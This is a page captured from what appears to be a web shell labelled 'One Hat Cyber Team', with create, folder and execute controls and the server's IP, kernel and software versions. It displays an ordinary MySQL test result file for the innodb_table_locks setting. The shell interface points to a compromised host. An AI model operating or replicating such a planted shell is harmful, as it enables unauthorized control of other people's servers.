⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.124
Server IP:
50.28.103.30
Server:
Linux host.jcukjv-lwsites.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
Server Software:
nginx/1.28.0
PHP Version:
8.3.12
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
server
/
mysql
/
mysql-test
/
suite
/
sys_vars
/
r
/
View File Name :
innodb_table_locks_func.result
'#--------------------FN_DYNVARS_048_01-------------------------#' SET @start_value= @@global.innodb_table_locks; SELECT @start_value; @start_value 1 SET @@global.innodb_table_locks = OFF; 'connect (con1,localhost,root,,,,)' 'connection con1' SELECT @@global.innodb_table_locks; @@global.innodb_table_locks 0 SELECT @@session.innodb_table_locks; @@session.innodb_table_locks 0 '#--------------------FN_DYNVARS_048_02-------------------------#' '----check when innodb_table_locks = ON and autocommit = OFF---' 'connect (con2,localhost,root,,,,)' 'connection default' DROP TABLE IF EXISTS t1; CREATE TABLE t1 (a INT) ENGINE=INNODB; SET @@autocommit = OFF; SET @@innodb_table_locks = ON; BEGIN; INSERT INTO t1 VALUES(1); SELECT * FROM t1 FOR UPDATE; a 1 'CONNECTION con2' SET @@innodb_table_locks = ON; SET @@autocommit = OFF; LOCK TABLES t1 WRITE; 'CONNECTION default' COMMIT; 'CONNECTION con2' UNLOCK tables; DROP TABLE t1; SET @@global.innodb_table_locks= @start_value; SELECT @@global.innodb_table_locks; @@global.innodb_table_locks 1